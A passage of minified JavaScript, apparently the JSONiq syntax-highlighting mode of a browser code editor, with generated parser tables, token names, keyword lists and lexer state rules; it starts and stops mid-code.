05,405,405,908,631,410,415,405,414,419,608,405,429,602,405,435,443,405,441,641,478,405,447,451,450,456,643,461,460,762,679,465,469,741,473,477,482,486,492,932,931,523,498,504,720,405,510,596,405,516,941,580,522,929,527,590,589,897,939,534,538,547,551,555,559,563,567,571,969,575,708,690,689,579,584,634,405,594,731,405,600,882,405,606,895,786,452,612,405,615,620,876,624,628,638,647,651,655,659,663,667,676,683,688,695,694,791,405,699,437,405,706,714,405,712,825,870,405,718,724,769,768,823,730,735,745,751,422,755,759,425,766,902,810,587,775,888,887,405,773,992,405,779,962,405,785,781,986,790,795,797,506,500,499,801,805,814,820,829,833,837,841,845,849,853,857,861,616,865,869,868,488,405,874,816,405,880,738,405,886,892,543,405,901,906,913,912,918,494,541,922,926,936,945,949,953,957,530,966,973,960,702,701,405,979,981,405,985,747,405,990,998,914,405,996,1004,672,975,974,1014,1002,1008,670,1012,405,405,405,405,405,401,1018,1022,1026,1106,1071,1111,1111,1111,1082,1145,1030,1101,1034,1038,1106,1106,1106,1106,1046,1206,1052,1106,1072,1111,1111,1042,1134,1065,1111,1112,1056,1160,1207,1062,1204,1208,1069,1106,1106,1106,1076,1111,1207,1161,1122,1205,1064,1094,1106,1106,1107,1111,1111,1111,1078,1086,1207,1092,1098,1046,1058,1106,1106,1110,1111,1111,1116,1120,1161,1126,1202,1104,1106,1145,1146,1129,1138,1088,1151,1048,1157,1153,1132,1141,1165,1107,1111,1172,1179,1109,1183,1175,1143,1147,1187,1108,1191,1195,1144,1199,1168,1212,1216,1220,1224,1228,1232,1236,1557,1247,1241,1241,1038,1434,1241,1241,1241,1241,1254,1275,1617,1241,1280,1287,1241,1241,1241,1287,1241,2114,1291,1241,1243,1241,2049,1824,2094,2095,1520,1309,1241,1241,1302,1241,1321,1311,1241,1241,1313,1778,1325,1336,1241,1241,1325,1330,1353,1241,1241,1695,1354,1241,1241,1241,1294,1686,1331,1241,1696,1368,1241,1338,1370,1241,1392,1399,1364,2017,1406,2016,1405,1716,1406,1407,1422,1417,1421,1241,1241,1241,1349,1426,1241,1774,1756,1241,1773,1241,1241,1345,1964,1812,1432,1241,1241,1345,1993,1459,1241,1241,1241,1395,1848,1767,1465,1241,1241,1394,1847,1242,1477,1241,1241,1428,1241,1445,1492,1241,1241,1438,1241,1499,1241,1241,1241,1455,1241,1818,1448,1241,1250,1241,2026,1623,1449,1241,1612,1616,1241,1614,1241,1257,1241,1241,1985,1292,1586,1512,1241,1517,2050,1526,1674,1519,1524,1647,2051,1532,1537,1551,1544,1550,1555,1561,1571,1578,1584,1590,1591,1653,1595,1602,1606,1610,1634,1628,1640,1633,1645,1241,1241,1241,1469,1241,1970,1651,1241,1270,1241,1241,1819,1449,1241,1293,1664,1241,1241,1481,1485,1574,1672,1241,1241,1513,1317,1487,1684,1241,1241,1533,1299,1694,1241,1241,1295,1241,1241,1241,1546,1700,1241,1241,1707,1241,1713,1241,1849,1715,1241,1720,1241,1276,1267,1241,1241,2107,1657,1864,1241,1881,1241,1326,1292,1241,1685,1358,1724,1338,1241,1363,1362,1342,1340,1361,1339,1833,1372,1360,1833,1833,1342,1343,1835,1341,1731,1738,1344,1241,1745,1241,1379,1241,1241,2092,1241,1388,1761,1754,1241,1386,1241,1400,1760,1241,1241,1241,1598,1734,1241,1241,1241,1635,1645,1241,1780,1766,1241,1241,1332,1771,1241,1241,1629,2079,1241,1242,1784,1241,1241,1680,1639,2063,1790,1241,1241,1741,1241,1241,1800,1241,1241,1762,1473,1241,1806,1241,1241,1786,1240,1709,1241,1241,1241,1668,1811,1241,1940,1241,1401,1974,1241,1408,1413,1382,1241,1816,1241,1241,1802,2086,1811,1241,1817,1945,1823,2095,2095,2047,2094,2046,2080,1241,1409,1312,1376,2096,2048,1241,1241,1807,1241,1241,1241,2035,1241,1241,1828,1241,2057,2061,1241,1241,1843,1241,2059,1241,1241,1241,1690,1847,1241,1241,1241,1703,2102,1848,1241,1241,1853,1292,1848,1241,2016,1857,1241,2002,1868,1241,1436,1241,1241,1271,1305,1241,1874,1241,1241,1884,2037,1892,1241,1890,1241,1461,1241,1241,1795,1241,1241,1891,1241,1878,1241,1888,1241,1888,1905,1896,2087,1912,1903,1241,1911,1906,1916,1905,2027,1863,1925,2088,1859,1861,1922,1927,1931,1935,1494,1241,1241,1918,1907,1939,1917,1944,1949,1241,1241,1451,1955,1241,1241,1241,1796,1727,2061,1241,1241,1899,1241,1660,1968,1241,1241,1951,1678,1978,1241,1241,1241,1839,1241,1241,1984,1982,1241,1488,1241,1241,1624,1450,1989,1241,1241,1241,1870,1995,1292,1241,1241,1958,1261,1241,1996,1241,1241,1241,2039,2008,1241,1241,1750,2e3,1241,1256,2001,1960,1241,1564,1241,1504,1241,1241,1442,1241,1241,1564,1528,1263,1241,1508,1241,1241,1468,1498,2006,1540,2015,1539,2014,1748,2013,1539,1831,2014,2012,1500,1567,2022,2021,1241,1580,1241,1241,2033,2037,1791,2045,2031,1241,1621,1241,1641,2044,1241,1241,1241,2093,1241,1241,2055,1241,1241,2067,1241,1283,1241,1241,1241,2101,2071,1241,1241,1241,2073,1848,2040,1241,1241,1241,2077,1241,1241,2106,1241,1241,2084,1241,2111,1241,1241,1381,1380,1241,1241,1241,2100,1241,2129,2118,2122,2126,2197,2133,3010,2825,2145,2698,2156,2226,2160,2161,2165,2174,2293,2194,2630,2201,2203,2152,3019,2226,2263,2209,2213,2218,2269,2292,2269,2269,2184,2226,2238,2148,2151,3017,2245,2214,2269,2269,2185,2226,2292,2269,2291,2269,2269,2269,2292,2205,3019,2226,2226,2160,2160,2160,2261,2160,2160,2160,2262,2276,2160,2160,2277,2216,2283,2216,2269,2269,2268,2269,2267,2269,2269,2269,2271,2568,2292,2269,2293,2269,2182,2190,2269,2186,2226,2226,2226,2226,2227,2160,2160,2160,2160,2263,2160,2275,2277,2282,2215,2217,2269,2269,2291,2269,2269,2293,2291,2269,2220,2269,2295,2294,2269,2269,2305,2233,2262,2278,2218,2269,2234,2226,2226,2228,2160,2160,2160,2289,2220,2294,2294,2269,2269,2304,2269,2160,2160,2287,2269,2269,2305,2269,2269,2312,2269,2269,2225,2226,2160,2287,2289,2219,2304,2295,2314,2234,2226,2314,2269,2226,2226,2160,2288,2219,2222,2304,2296,2269,2224,2160,2160,2269,2302,2294,2314,2224,2226,2288,2220,2294,2269,2290,2269,2269,2293,2269,2269,2269,2269,2270,2221,2313,2225,2227,2160,2300,2269,2225,2261,2309,2234,2229,2223,2318,2318,2318,2328,2336,2340,2344,2350,2637,2712,2358,2362,2372,2135,2378,2398,2135,2135,2135,2135,2136,2417,2241,2135,2378,2135,2135,2980,2984,2135,3006,2135,2135,2135,2945,2931,2425,2400,2135,2135,2135,2954,2135,2481,2433,2135,2135,2988,2824,2135,2135,2482,2434,2135,2135,2440,2445,2452,2135,2135,2998,3002,2961,2441,2446,2453,2463,2974,2135,2135,2135,2140,2642,2709,2459,2470,2465,2135,2135,3005,2135,2135,2987,2823,2458,2469,2464,2975,2135,2135,2135,2353,2488,2447,2324,2974,2135,2409,2459,2448,2135,2961,2487,2446,2476,2323,2973,2135,2135,2135,2354,2476,2974,2135,2135,2135,2957,2135,2135,2960,2135,2135,2135,2363,2409,2459,2474,2465,2487,2571,2973,2135,2135,2168,2973,2135,2135,2135,2959,2135,2135,2135,2506,2135,2957,2488,2170,2135,2135,2135,2960,2135,2818,2493,2135,2135,3033,2135,2135,2135,2934,2819,2494,2135,2135,2135,2976,2780,2499,2135,2135,2135,3e3,2968,2135,2935,2135,2135,2135,2364,2507,2135,2135,2934,2135,2135,2780,2492,2507,2135,2135,2506,2780,2135,2135,2782,2780,2135,2782,2135,2783,2374,2514,2135,2135,2135,3007,2530,2974,2135,2135,2135,3008,2135,2135,2134,2135,2526,2531,2975,2135,2135,3042,2581,2575,2956,2135,2135,2135,2394,2135,2508,2535,2840,2844,2495,2135,2135,2136,2684,2537,2842,2846,2135,2136,2561,2581,2551,2536,2841,2845,2975,3043,2582,2843,2555,2135,3040,3044,2538,2844,2975,2135,2135,2253,2644,2672,2542,2554,2135,2135,2346,2873,2551,2555,2135,2135,2135,2381,2559,2565,2538,2553,2135,2560,2914,2576,2590,2135,2135,2135,2408,2136,2596,2624,2135,2135,2135,2409,2135,2618,2597,3008,2135,2135,2380,2956,2601,2135,2135,2135,2410,2620,2624,2135,2136,2383,2135,2135,2783,2623,2135,2135,2393,2888,2136,2621,3008,2135,2618,2618,2622,2135,2135,2405,2414,2619,2384,2624,2135,2136,2950,2135,2138,2135,2139,2135,2604,2623,2135,2140,2878,2665,2957,2622,2135,2135,2428,2762,2606,2612,2135,2135,2501,2586,2604,3038,2135,2604,3036,2387,2958,2386,2135,2141,2135,2421,2387,2385,2135,2385,2384,2384,2135,2386,2628,2384,2135,2135,2501,2596,2591,2135,2135,2135,2400,2135,2634,2135,2135,2559,2580,2575,2648,2135,2135,2135,2429,2649,2135,2135,2135,2435,2654,2658,2135,2135,2135,2436,2649,2178,2659,2135,2135,2595,2601,2669,2677,2135,2135,2616,2957,2879,2665,2691,2135,2363,2367,2900,2878,2664,2690,2975,2877,2643,2670,2974,2671,2975,2135,2135,2619,2608,2669,2673,2135,2135,2653,2177,2672,2135,2135,2135,2486,2168,2251,2255,2695,2974,2709,2135,2135,2135,2487,2169,2399,2716,2975,2135,2363,2770,2776,2640,2717,2135,2135,2729,2135,2135,2641,2718,2135,2135,2135,2505,2135,2640,2257,2974,2135,2727,2975,2135,2365,2332,2895,2957,2135,2959,2135,2365,2749,2754,2959,2958,2958,2135,2380,2793,2799,2135,2735,2738,2135,2381,2135,2135,2940,2974,2135,2744,2135,2135,2739,2519,2976,2745,2135,2135,2135,2509,2755,2135,2135,2135,2510,2772,2778,2135,2135,2740,2520,2135,2771,2777,2135,2135,2759,2750,2792,2798,2135,2135,2781,2392,2779,2135,2135,2135,2521,2135,2679,2248,2135,2135,2681,2480,2135,2135,2786,3e3,2135,2679,2683,2135,2135,2416,2135,2135,2135,2525,2135,2730,2135,2135,2135,2560,2581,2135,2805,2135,2135,2804,2962,2832,2974,2135,2382,2135,2135,2958,2135,2135,2960,2135,2829,2833,2975,2961,2965,2969,2973,2968,2972,2135,2135,2135,2641,2135,2515,2966,2970,2851,2478,2135,2135,2808,2135,2809,2135,2135,2135,2722,2852,2479,2135,2135,2815,2135,2135,2766,2853,2480,2135,2857,2479,2135,2388,2723,2135,2364,2331,2894,2858,2480,2135,2135,2850,2478,2135,2135,2135,2806,2864,2135,2399,2256,2974,2865,2135,2135,2862,2135,2135,2135,2685,2807,2865,2135,2135,2807,2863,2135,2135,2135,2686,2884,2807,2135,2809,2807,2135,2135,2807,2806,2705,2810,2808,2700,2869,2702,2702,2702,2704,2883,2135,2135,2135,2730,2884,2135,2135,2135,2731,2321,2546,2135,2135,2876,2255,2889,2322,2547,2135,2401,2135,2135,2135,2949,2367,2893,2544,2973,2906,2973,2135,2135,2877,2663,2368,2901,2907,2974,2366,2899,2905,2972,2920,2974,2135,2135,2911,2900,2920,2363,2913,2918,2465,2941,2975,2135,2135,2924,2928,2974,2945,2931,2135,2135,2135,2765,2136,2955,2135,2135,2939,2931,2380,2135,2135,2380,2135,2135,2135,2780,2507,2137,2135,2137,2135,2139,2135,2806,2810,2135,2135,2135,2992,2135,2135,2962,2966,2970,2974,2135,2135,2787,3014,2135,2521,2993,2135,2135,2135,2803,2135,2135,2135,2618,2607,2997,3001,2135,2135,2963,2967,2971,2975,2135,2135,2791,2797,2135,3009,2999,3003,2787,3001,2135,2135,2964,2968,2785,2999,3003,2135,2135,2135,2804,2785,2999,3004,2135,2135,2135,2807,2135,2135,3023,2135,2135,2135,2811,2135,2135,3027,2135,2135,2135,2837,2968,3028,2135,2135,2135,2875,2135,2784,3029,2135,2408,2457,2446,0,14,0,-2120220672,1610612736,-2074083328,-2002780160,-2111830528,1073872896,1342177280,1075807216,4096,16384,2048,8192,0,8192,0,0,0,0,1,0,0,0,2,0,-2145386496,8388608,1073741824,0,2147483648,2147483648,2097152,2097152,2097152,536870912,0,0,134217728,33554432,1536,268435456,268435456,268435456,268435456,128,256,32,0,65536,131072,524288,16777216,268435456,2147483648,1572864,1835008,640,32768,65536,262144,1048576,2097152,196608,196800,196608,196608,0,131072,131072,131072,196608,196624,196608,196624,196608,196608,128,4096,16384,16384,2048,0,4,0,0,2147483648,2097152,0,1024,32,32,0,65536,1572864,1048576,32768,32768,32768,32768,196608,196608,196608,64,64,196608,196608,131072,131072,131072,131072,268435456,268435456,64,196736,196608,196608,196608,131072,196608,196608,16384,4,4,4,2,32,32,65536,1048576,12582912,1073741824,0,0,2,8,16,96,2048,32768,0,0,131072,268435456,268435456,268435456,256,256,196608,196672,196608,196608,196608,196608,4,0,256,256,256,256,32,32,32768,32,32,32,32,32768,268435456,268435456,268435456,196608,196608,196608,196624,196608,196608,196608,16,16,16,268435456,196608,64,64,64,196608,196608,196608,196672,268435456,64,64,196608,196608,16,196608,196608,196608,268435456,64,196608,131072,262144,4194304,25165824,33554432,134217728,268435456,268435456,196608,262152,8,256,512,3072,16384,200,-1073741816,8392713,40,8392718,520,807404072,40,520,100663304,0,0,-540651761,-540651761,257589048,0,262144,0,0,3,8,256,0,4,6,4100,8388612,0,0,0,3,4,8,256,512,1024,0,2097152,0,0,-537854471,-537854471,0,100663296,0,0,1,2,0,0,0,16384,0,0,0,96,14336,0,0,0,7,8,234881024,0,0,0,8,0,0,0,0,262144,0,0,16,64,384,512,0,1,1,0,12582912,0,0,0,0,33554432,67108864,-606084144,-606084144,-606084138,0,0,28,32,768,1966080,-608174080,0,0,0,14,35056,16,64,896,24576,98304,98304,131072,262144,524288,1048576,4194304,25165824,1048576,62914560,134217728,-805306368,0,384,512,16384,65536,131072,262144,29360128,33554432,134217728,268435456,1073741824,2147483648,262144,524288,1048576,29360128,33554432,524288,1048576,16777216,33554432,134217728,268435456,1073741824,0,0,0,123856,1966080,0,64,384,16384,65536,131072,16384,65536,524288,268435456,2147483648,0,0,524288,2147483648,0,0,1,16,0,256,524288,0,0,0,25,96,128,-537854471,0,0,0,32,7404800,-545259520,0,0,0,60,0,249,64768,1048576,6291456,6291456,25165824,100663296,402653184,1073741824,96,128,1280,2048,4096,57344,6291456,57344,6291456,8388608,16777216,33554432,201326592,1342177280,2147483648,0,57344,6291456,8388608,100663296,134217728,2147483648,0,0,0,1,8,16,64,128,64,128,256,1024,131072,131072,131072,262144,524288,16777216,57344,6291456,8388608,67108864,134217728,64,256,1024,2048,4096,57344,64,256,0,24576,32768,6291456,67108864,134217728,0,1,64,256,24576,32768,4194304,32768,4194304,67108864,0,0,64,256,0,0,24576,32768,0,16384,4194304,67108864,64,16384,0,0,1,64,256,16384,4194304,67108864,0,0,0,16384,0,16384,16384,0,-470447874,-470447874,-470447874,0,0,128,0,0,8,96,2048,32768,262144,8388608,35056,1376256,-471859200,0,0,14,16,224,2048,32768,2097152,4194304,8388608,-486539264,0,96,128,2048,32768,262144,2097152,262144,2097152,8388608,33554432,536870912,1073741824,2147483648,0,1610612736,2147483648,0,0,1,524288,1048576,12582912,0,0,0,151311,264503296,2097152,8388608,33554432,1610612736,2147483648,262144,8388608,33554432,536870912,67108864,4194304,0,4194304,0,4194304,4194304,0,0,524288,8388608,536870912,1073741824,2147483648,1,4097,8388609,96,2048,32768,1073741824,2147483648,0,96,2048,2147483648,0,0,96,2048,0,0,1,12582912,0,0,0,0,1641895695,1641895695,0,0,0,249,7404800,15,87808,1835008,1639972864,0,768,5120,16384,65536,1835008,1835008,12582912,16777216,1610612736,0,3,4,8,768,4096,65536,0,0,256,512,786432,8,256,512,4096,16384,1835008,16384,1835008,12582912,1610612736,0,0,0,256,0,0,0,4,8,16,32,1,2,8,256,16384,524288,16384,524288,1048576,12582912,1610612736,0,0,0,8388608,0,0,0,524288,4194304,0,0,0,8388608,-548662288,-548662288,-548662288,0,0,256,16384,65536,520093696,-1073741824,0,0,0,16777216,0,16,32,960,4096,4980736,520093696,1073741824,0,32,896,4096,57344,1048576,6291456,8388608,16777216,100663296,134217728,268435456,2147483648,0,512,786432,4194304,33554432,134217728,268435456,0,786432,4194304,134217728,268435456,0,524288,4194304,268435456,0,0,0,0,0,4194304,4194304,-540651761,0,0,0,2,4,8,16,96,128,264503296,-805306368,0,0,0,8,256,512,19456,131072,3072,16384,131072,262144,8388608,16777216,512,1024,2048,16384,131072,262144,131072,262144,8388608,33554432,201326592,268435456,0,3,4,256,1024,2048,57344,16384,131072,8388608,33554432,134217728,268435456,0,3,256,1024,16384,131072,33554432,134217728,1073741824,2147483648,0,0,256,524288,2147483648,0,3,256,33554432,134217728,1073741824,0,1,2,33554432,1,2,134217728,1073741824,0,1,2,134217728,0,0,0,64,0,0,0,16,32,896,4096,786432,4194304,16777216,33554432,201326592,268435456,1073741824,2147483648,0,0,0,15,0,4980736,4980736,4980736,70460,70460,3478332,0,0,1008,4984832,520093696,60,4864,65536,0,0,0,12,16,32,256,512,4096,65536,0,0,0,67108864,0,0,0,12,0,256,512,65536,0,0,1024,512,131072,131072,4,16,32,65536,0,4,16,32,0,0,0,4,16,0,0,16384,67108864,0,0,1,24,96,128,256,1024],r.TOKEN=[\"(0)\",\"JSONChar\",\"JSONCharRef\",\"JSONPredefinedCharRef\",\"ModuleDecl\",\"Annotation\",\"OptionDecl\",\"Operator\",\"Variable\",\"Tag\",\"EndTag\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSectionContents\",\"AttrTest\",\"Wildcard\",\"EQName\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"AposChar\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"NCName\",\"QName\",\"S\",\"CharRef\",\"CommentContents\",\"DocTag\",\"DocCommentContents\",\"EOF\",\"'!'\",\"'\\\"'\",\"'#'\",\"'#)'\",\"'$$'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"'(:~'\",\"')'\",\"'*'\",\"'*'\",\"','\",\"'-->'\",\"'.'\",\"'/'\",\"'/>'\",\"':'\",\"':)'\",\"';'\",\"'<!--'\",\"'<![CDATA['\",\"'<?'\",\"'='\",\"'>'\",\"'?'\",\"'?>'\",\"'NaN'\",\"'['\",\"']'\",\"']]>'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'xquery'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'|'\",\"'}'\",\"'}}'\"]},{}],2:[function(e,t,n){\"use strict\";var r=e(\"./JSONiqTokenizer\").JSONiqTokenizer,i=e(\"./lexer\").Lexer,s=\"NaN|after|allowing|ancestor|ancestor-or-self|and|append|array|as|ascending|at|attribute|base-uri|before|boundary-space|break|by|case|cast|castable|catch|child|collation|comment|constraint|construction|contains|context|continue|copy|copy-namespaces|count|decimal-format|decimal-separator|declare|default|delete|descendant|descendant-or-self|descending|digit|div|document|document-node|element|else|empty|empty-sequence|encoding|end|eq|every|except|exit|external|false|first|following|following-sibling|for|from|ft-option|function|ge|greatest|group|grouping-separator|gt|idiv|if|import|in|index|infinity|insert|instance|integrity|intersect|into|is|item|json|json-item|jsoniq|last|lax|le|least|let|loop|lt|minus-sign|mod|modify|module|namespace|namespace-node|ne|next|node|nodes|not|null|object|of|only|option|or|order|ordered|ordering|paragraphs|parent|pattern-separator|per-mille|percent|preceding|preceding-sibling|previous|processing-instruction|rename|replace|return|returning|revalidation|satisfies|schema|schema-attribute|schema-element|score|select|self|sentences|sliding|some|stable|start|strict|switch|text|then|times|to|treat|true|try|tumbling|type|typeswitch|union|unordered|updating|validate|value|variable|version|when|where|while|window|with|words|xquery|zero-digit\".split(\"|\"),o=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"keyword\"}}),u=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"text\",next:function(e){e.pop()}}}),a=\"constant.language\",f=\"constant\",l=\"comment\",c=\"xml-pe\",h=\"constant.buildin\",p=function(e){return\"'\"+e+\"'\"},d={start:[{name:p(\"(#\"),token:h,next:function(e){e.push(\"Pragma\")}},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\"(:~\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:p(\"<?\"),token:c,next:function(e){e.push(\"PI\")}},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposString\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotString\")}},{name:\"Annotation\",token:\"support.function\"},{name:\"ModuleDecl\",token:\"keyword\",next:function(e){e.push(\"Prefix\")}},{name:\"OptionDecl\",token:\"keyword\",next:function(e){e.push(\"_EQName\")}},{name:\"AttrTest\",token:\"support.type\"},{name:\"Variable\",token:\"variable\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:\"IntegerLiteral\",token:f},{name:\"DecimalLiteral\",token:f},{name:\"DoubleLiteral\",token:f},{name:\"Operator\",token:\"keyword.operator\"},{name:\"EQName\",token:function(e){return s.indexOf(e)!==-1?\"keyword\":\"support.function\"}},{name:p(\"(\"),token:\"lparen\"},{name:p(\")\"),token:\"rparen\"},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:p(\"}\"),token:\"text\",next:function(e){e.length>1&&e.pop()}},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}].concat(o),_EQName:[{name:\"EQName\",token:\"text\",next:function(e){e.pop()}}].concat(u),Prefix:[{name:\"NCName\",token:\"text\",next:function(e){e.pop()}}].concat(u),StartTag:[{name:p(\">\"),token:\"meta.tag\",next:function(e){e.push(\"TagContent\")}},{name:\"QName\",token:\"entity.other.attribute-name\"},{name:p(\"=\"),token:\"text\"},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposAttr\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotAttr\")}},{name:p(\"/>\"),token:\"meta.tag.r\",next:function(e){e.pop()}}],TagContent:[{name:\"ElementContentChar\",token:\"text\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"text\"},{name:p(\"}}\"),token:\"text\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}},{name:\"EndTag\",token:\"meta.tag\",next:function(e){e.pop(),e.pop()}}],AposAttr:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],QuotAttr:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeQuot\",token:\"constant.language.escape\"},{name:\"QuotAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],Pragma:[{name:\"PragmaContents\",token:h},{name:p(\"#\"),token:h},{name:p(\"#)\"),token:h,next:function(e){e.pop()}}],Comment:[{name:\"CommentContents\",token:\"comment\"},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\":)\"),token:\"comment\",next:function(e){e.pop()}}],CommentDoc:[{name:\"DocCommentContents\",token:\"comment.doc\"},{name:\"DocTag\",token:\"comment.doc.tag\"},{name:p(\"(:\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\":)\"),token:\"comment.doc\",next:function(e){e.pop()}}],XMLComment:[{name:\"DirCommentContents\",token:l},{name:p(\"-->\"),token:l,next:function(e){e.pop()}}],CData:[{name:\"CDataSectionContents\",token:a},{name:p(\"]]>\"),token:a,next:function(e){e.pop()}}],PI:[{name:\"DirPIContents\",token:c},{name:p(\"?\"),token:c},{name:p(\"?>\"),token:c,next:function(e){e.pop()}}],AposString:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposChar\",token:\"string\"}],QuotString:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"JSONPredefinedCharRef\",token:\"constant.language.escape\"},{name:\"JSONCharRef\",token:\"constant.language.escape\"},{name:\"JSONChar\",token:\"string\"}]};n.JSONiqLexer=function(){return new i(r,d)}},{\"./JSONiqTokenizer\":1,\"./lexer\":3}],3:[function(e,t,n){\"use strict\";var r=function(e){var t=e;this.tokens=[],this.reset=function(){t=t,this.tokens=[]},this.startNonterminal=function(){},this.endNonterminal=function(){},this.terminal=function(e,n,r){this.tokens.push({name:e,value:t.substring(n,r)})},this.whitespace=function(e,n){this.tokens.push({name:\"WS\",value:t.substring(e,n)})}};n.Lexer=function(e,t){this.tokens=[],this.getLineTokens=function(n,i){i=i===\"start\"||!i?'[\"start\"]':i;var s=JSON.parse(i),o=new r(n),u=new e(n,o),a=[];for(;;){var f=s[s.length-1];try{o.tokens=[],u[\"parse_\"+f]();var l=null;o.tokens.length>1&&o.tokens[0].name===\"WS\"&&(a.push({type:\"text\",value:o.tokens[0].value}),o.tokens.splice(0,1));var c=o.tokens[0],h=t[f];for(var p=0;p<h.length;p++){var d=t[f][p];if(typeof d.name==\"function\"&&d.name(c)||d.name===c.name){l=d;break}}if(c.name===\"EOF\")break;if(c.value===\"\")throw\"Encountered empty string lexical rule.\";a.push({type:l===null?\"text\":typeof l.token==\"function\"?l.token(c.value):l.token,value:c.value}),l&&l.next&&l.next(s)}catch(v){if(v instanceof u.ParseException){var m=0;for(var g=0;g<a.length;g++)m+=a[g].value.length;return 